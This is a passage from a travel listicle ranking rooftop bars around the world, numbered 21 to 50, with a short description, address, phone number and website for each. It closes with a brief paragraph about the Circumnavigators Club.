18 Ninth Ave. (at 13th Street), New York City, United States; +1 212 206 6700; gansevoorthotelgroup.com
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21. Sky Bar: Bangkok, Thailand
For some travelers, no night out in Bangkok is complete without a couple of cocktails at the Sky Bar in Sirocco restaurant.
Perched on top of The Dome at State Tower, 63 floors above the city streets, this rooftop bar is the world's highest al fresco restaurant, with 360-degree views of the city and the Chao Phraya.
The Dome at Sate Tower, 1055 Silom Road, Bangrak, Bangkok, Thailand; +66 2624 9555; lebua.com
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22. Two Rooms: Tokyo, Japan
The terrace at this Omotesando fine-dining venue in the Ao building serves some of the best Sunday brunches in Tokyo, and great cocktails.
The Bloody Mary is fiery and full of flavor -- the secret is in the sauce. Two Rooms is proud of its in-house mix, which can also be sampled with vodka as an oyster shot.
Brunch is also a cocktail-cornucopia, should you want it.
Two Rooms runs late -- offering classy nighttime views.
AO Building, 5/F, 3-11-7 Kita-Aoyama, Minato-ku, Tokyo, Japan; +81 (0)3 3498 0002; www.tworooms.jp
23. Condesa DF Rooftop Bar: Mexico City, Mexico
This chic 40-bedroom hotel boasts a rooftop bar offering more cocktails than most drinkers know exist, and a great place to watch the city's spectacular sunsets.
It also has some very comfy couches.
Avenida Veracruz 102, Condesa, Mexico; +52 55 5241 2600; condesadf.com
24. Beiruf: Beirut, Lebanon
Beiruf's thumping music can be heard several streets away from its location near the port and downtown Beirut, which suits its trendy, want-to-be-seen-and-heard crowd.
Revelers can admire the sea view and the cityscape. Given its popularity, it's best to reserve a table in advance.
Beirut Harbour Street, below Charles Helou Avenue, Gemmayzeh, Lebanon; +961 1 560 666; beiruf.com
25. Madame Brussels: Melbourne, Australia
Three stories above Melbourne's busy streets, Madame Brussels has a terrace where you can soak up the sun on one of the loungers or cuddle up in a blanket if it turns chilly.
Drinks specialties include rose, punch and Pimm's, and cupcakes and finger sandwiches also feature.
Level 3, 59-63 Bourke St., Melbourne, Victoria, Australia; +61 3 9662 2775; madamebrussels.com
26. Skye Bar & Restaurant: São Paulo, Brazil
Fashioned like an enormous boat, the Unique Hotel is just one example of Brazil's adventurous architecture.
On the eighth floor is the rooftop Sky lounge, with many places to admire the Sao Paulo skyline and a pool to cool off in.
It's also a perfect spot to indulge in Brazil's most famous cocktail, the caipirinha. Come night, DJs entertain an international crowd.
Brigadeiro Luis Antonio 4700, Brazil; +55 11 3055 47; hotelunique.com.br
27. C View, MileNorth, A Chicago Hotel: Chicago, United States
Chicago's skyline doesn't come more accessible than at C-View, an outdoor rooftop terrace and indoor lounge on MileNorth, A Chicago Hotel.
Glass panels give views onto the urban jungle below and communal tables encourage mingling.
If you like beer you're in for a treat as C-View offers a vast selection of local, domestic and imported brews.
166 East Superior St., Chicago, United States; +1 312 523 0923; c-houserestaurant.com
28. Panorama Terrace, Park Inn: Berlin, Germany
In Berlin the best place to watch the sun set is at Panorama Terrace.
It's as popular with locals as with tourists, who want to enjoy an alternative vantage point of their home city.
Situated on the 39th floor of the Park Inn Hotel, it's Berlin's highest open-air lounge, with a 360-degree view. There's a €3 (US$3.70) entrance fee.
Alexanderplatz 7, Berlin, Germany; +49 302 3890; parkinn-berlin.com
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29. The Galaxy Bar, Hilton Hotel: Athens, Greece
East meets West at the Galaxy bar in Athens, where you can chow down on dim sum while gazing at the ancient Parthenon and Acropolis.
The open-air terrace, which on a clear day takes in panoramic views of the sea and the island of Aegina, offers an Eastern rather than a Greek snacking menu.
46 Vassilissis Sofias Ave., Athens, Greece; +30 210 728 1000; hiltonathens.gr
30. The Joule: Dallas, Texas, United States
It might seem like a good idea in the blazing Texan sun to take a dip in the Joule's rooftop infinity swimming pool, but you'll probably need a stiff drink afterwards -- it juts out 2.5-meters beyond the building, giving the illusion that you're about to swim over the edge.
Luckily the attentive bartenders are on hand to serve up any number of creative cocktails to calm your nerves.
1530 Main St., Dallas, Texas, United States; +1 214 748 1300; thejouledallas.com
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31. Vue Bar, Hyatt on the Bund: Shanghai, China
Vue grants a near-aerial view over one of the world's most famous skyscraper zones and is one of the few places you can see the land carve of Lujiazui, the protruding tip of Pudong.
It's also the best place to stage the "I'm-the-king-of-the-world" scene in Shanghai.
After a few glasses of wine by the floor-to-ceiling windows, guests can head up to the outdoor hot tub and relax under the stars.
Tip for ladies: bikinis are for sale under the name of "Vue Jacuzzi Wear" on the drink menu.
32/F, West Tower, Hyatt on the Bund, 199 Huangpu Lu, near Wuchang Lu; +86 21 6393 1234; www.shanghai.bund.hyatt.com
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32. Sugar, East Hotel: Hong Kong
It's rare to find a high-octane cocktail joint with a killer view in the lesser-known parts of Hong Kong Island, and Sugar's view contains fewer garish fluorescent billboards than you might think.
The scene is made up of ocean-going vessels floating in the harbor with a backdrop of the old airport, Kai Tak.
It's best to visit the loungy outdoor deck before sunset to enjoy the coastline by the soft light of dusk. This way you can also avoid Sugar's garish pink and purple lighting that becomes apparent once it's dark.
32/F, EAST, 29 Taikoo Shing Road, Tai Koo, +852 3968 3738 www.sugar-hongkong.com
33. Ozone Bar: Hong Kong
Ozone Bar is kryptonite to vertigo sufferers.
On the top floor of the world's highest hotel, this super-stylish bar gives the feeling of being on a plane, with a bird's-eye view of Hong Kong harbor and the streets far below.
Colored lights illuminate the stylish interior, while pretty young things flit like butterflies.
International Commerce Centre, 1 Austin Road West, Kowloon, Hong Kong; +852 2263 2263; ritzcarlton.com
34. Fasano: Rio de Janiero, Brazil
The hip Fasano Hotel Rio de Janeiro is leader of the pack in a city blessed with fine hotels.
While guests' palates are attended to by tasty sundowners, their gazes can waft from beautiful people by the pool, to the sea and sky as sunset colors melt into view under the gaze of Christ the Redeemer.
The bar Londra downstairs also stages an ultra cool "pocket show" from DJs and musicians.
Avebye Vieira Souto 80, Rio de Janeiro, Brazil; +55 2242 00000; fasano.com.br
35. Vista Bar, One&Only Resort, Cape Town, South Africa
The Vista Bar in Cape Town's One&Only Resort gives panoramic views over Table Mountain through its floor to ceiling windows.
Here you can sip a cocktail inspired by the spice route of the Cape of Good Hope, while DJs educate your ears.
Dock Road, Victoria & Alfred Waterfront Cape Town, South Africa; +27 21 431 5888; capetown.oneandonlyresorts.com
36. Aer, Four Seasons Hotel: Mumbai, India
There can be few better places to enjoy not being in the middle of Mumbai's urban sprawl than from the city's highest rooftop bar.
Safely away from the traffic, the noise and the seething mass of humanity at street level, Aer bar is on the top floor of the city's Four Seasons hotel.
114 Dr. E Moses Road, Worli, Mumbai, India; +91 22 2481 8000; fourseasons.com/mumbai
37. The Literary Terrace, The Grand Hotel Timeo: Sicily, Italy
It's not difficult to see why authors including DH Lawrence sought inspiration on the Literary Terrace of the glamorous Grand Hotel in Sicily.
The views over to Mount Etna and Taormina should cure the most stubborn case of writers' block.
And Lawrence was clearly in good company, as the terrace was also reportedly a meeting place for screen sirens Audrey Hepburn and Sofia Loren.
Via Teatro Greco 59, Taormina (ME), Italy; +39 0942 627 0200; grandhoteltimeo.com
38. Sevva: Hong Kong
Sevva is the banker and corporate lawyer's hangout of choice.
Someone's closed a deal -- they'll head to Sevva to toast associates facing the champion view. Someone's lost a court case -- they'll head to Sevva and sink low in the outdoor couches, get drunk and angry on old Bordeaux then rant at the HSBC building close by.
Watch out for disappointing food at Sevva's restaurant and avoid the below par service on busy weekends.
25/F, Prince's Building, 10 Chater Road, Hong Kong; +852 2537 1388; www.sevva.hk
39. Top Mountain Star: Wurmkogel, Austria
While not strictly a rooftop bar, this bizarre construction, vaguely resembling an air traffic control tower, is situated high in the Austrian Alps and provides a setting for weary skiers to stop off for a cup of hot chocolate or some glühwein.
The futuristic restaurant and bar, with 360-degree glass walls, offers views of the slopes of Obergurgl with 23 Alpine peaks stretching out over the Oztal Alps and the Dolomites.
Over 3,000 meters high in the Wurmkogel, Hochgurgl, Austria; tophotelhochgurgl.com
40. Rock Bar, Ayana Resort & Spa: Bali, Indonesia
This is one of Bali's most glamorous sunset and after-dark destinations.
Precariously perched 14 meters above the crashing Indian Ocean at the base of Ayana Hotel, the open-top bar sits right on the spot-lit water's edge and at high tide the waves crash just a few feet from guests' feet.
A DJ booth is carved into the cliff face.
Karang Mas Sejahtera, Jimbaran, Bali, Indonesia; +62 361 702 222; ayanaresort.com
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41. Vertigo & Moon Bar, Banyan Tree: Bangkok, Thailand
On the roof of Bangkok's Banyan Tree Hotel is Vertigo, specializing in barbecued seafood, though it also grills a mean steak and has a good vegetarian menu.
Walk a few steps and you're at Moon Bar, which has a solid cocktail and wine menu and a small seating area.
The stomach-churning views at this 61st floor venue are rivaled only by those at Sirocco (also on this list), which has sparked many a fiery debate between die-hard fans of the two hotels over the years.
21/100 South Sathorn Road, Bangkok, Thailand; +66 (0)2 679 1200; www.banyantree.com
42. KU DÉ TA, Marina Bay Sands: Singapore
Singapore's youngest architectural icon, Marina Bay Sands, is the only structure standing 200 meters high in its immediate vicinity.
This means KU DÉ TA, its party bar, has spectacular views into the city and over the waters and of Marina Bay Sands' infamous infinity pool.
Arrive at sunset to reap the full experience.
If you're unable to tear yourself away from the fancy night lights, stave off hunger with the platter of five Wagyu mini burgers and the chopped tuna tartar and flatbread while enjoying the nightly laser show.
Marina Bay Sands SkyPark, 1 Bayfront Ave., Singapore; +65 6688 7688; www.kudeta.com.sg
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43. Char, Hotel Indigo: Shanghai, China
Occupying the top three floors of the 31-story Hotel Indigo Shanghai, Char provides a 270-degree outlook sweeping across downtown.
To your left are the pointy roofs and narrow streets of the Shanghai Old Town; your front the unbeatable colonial architectural strip on the Bund; and on your right stands the breathtaking Lujiazui skyscraper spectacle.
The visual extravaganza is complete with cargo and neon sign-bearing cruise ships drifting down Huangpu.
Inside, the 100-seat grill and bar serves Blackmore's Wagyu beef and seafood from Australia.
29-31/F, Hotel Indigo Shanghai, 585 Zhong Shan Dong Er Lu, near Dongmen Lu, Shanghai, China; +86 21 3302 9995; www.shanghai.hotelindigo.com
44. Capital M: Beijing, China
Housed in a historic building on the centuries-old Qianmen Dajie, Capital M is somber on the outside but inviting inside.
The atmosphere is cashed-up bohemian -- inside are a Van Gogh-esque mural, fresh flowers and views of Qianmen, the Forbidden City and Tiananmen Square.
The menu is inspired by local produce, but contains elements from Europe and North Africa.
Wines are taken seriously at Capital M. Their own label has been supplied by the same South Australian vineyard for 20 years.
3/F, 2 Qianmen Pedestrian St., Beijing, China; +86 (10) 6702 2727; www.m-restaurantgroup.com
45. Penthouse Terrace of ME Madrid: Spain
The Penthouse bar on the rooftop of the ME hotel in Madrid is owned by supermodel Cindy Crawford's husband, Rande Gerber, and the place acts as a magnet for celebrities in town.
The queues to get in are testament to its popularity, so it's best to get here early, order your drinks and bag a seat for a spot of star spotting -- of both the celestial and Hollywood kind.
Plaza de Santa Ana, 14 Madrid, Spain; +34 902 14 44 40; memadrid.com
46. Le Grill, Hotel de Paris: Monaco
Situated on the eighth floor of the Hotel de Paris, the Michelin-starred Le Grill is an elegant rooftop eatery offering views over the French Riviera.
On a clear day you can see all the way to Corsica, while the rest of the time it provides dizzying views over Monaco's glittering harbor dotted with sailing boats and gin palaces.
In the summer, the roof is opened at the flick of a switch and at the merest hint of inclement weather can be closed again.
Place du Casino, Monte Carlo, Principauté de Monaco; hoteldeparismontecarlo.com
47. Rufxxx: Seoul, Korea
Rufxxx, tucked away in a nondescript alleyway, was originally a studio for photographer and director Kim Hyoung Nam.
It's now a convivial wellspring for photography, film, music, dance and fashion.
It's split into three floors: a lounge floor for food and drink, a small performance area upstairs, and the rooftop with the best view in Seoul of N Seoul Tower and Namsan.
If you didn't think a rooftop bar could be down-to-earth, Rufxxx makes you think again.
5-27 Itaewon 2-dong, Yongsan-gu, Seoul; +82 2 511 2570; www.rufxxx.com
48. Hotel Duquesa de Cardona: Barcelona, Spain
The rooftop Brisa del Mar space of Hotel Duquesa de Cardona is divided into two areas by scented lavender bushes.
One part is reserved for dining and drinking, the other is for sunbathing and swimming.
Try the house special, the Cardona, a blow-your-head-off cocktail of rum, pineapple juice, grenadine and Malibu, while trying to focus on the views to the church of La Merce to the rear and the Port Vell marina at the front.
Passeig de Colom 12, Barcelona, Spain; +34 93 268 9090; hduquesadecardona.com
49. The Laison Capitol Hill, an Affinia Hotel: Washington D.C., United States
This is Capitol Hill's only open-air, rooftop pool and bar, and it lays on great breakfasts, yoga classes right next to the pool and heroic cocktails.
Guests not lodging in the hotel, which went through a three-month renovation, can enter free of charge after 5 p.m.
415 New Jersey, NW, Washington D.C., United States; +1 202 638 1616; www.affinia.com
50. L'éléphant: Ibiza, Spain
L'éléphant stacks up more than the usual Ibizan late-night parties, bars and cocktails.
Located in the foodie village of San Rafael, the minimalist, retro bar is a place for a quick drink before hitting the dance floors. Expect good cocktails and indulgent, Mediterranean food.
The rooftop offers views of the old Ibiza Town to give a sense of nostalgia about the area.
Plaza Iglesia, San Rafael, Ibiza, Spain; +34 971 19 80 56; www.elephant-ibiza.com
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The Circumnavigators Club is the only organization devoted to bringing together those men and women who have circumnavigated the globe. The Club's purpose is to encourage global fellowship and understanding. It strives to inspire people to see and absorb as much as they can about the world in which we live. It is devoted to providing those who have circumnavigated the globe with a forum for intellectual exchange.
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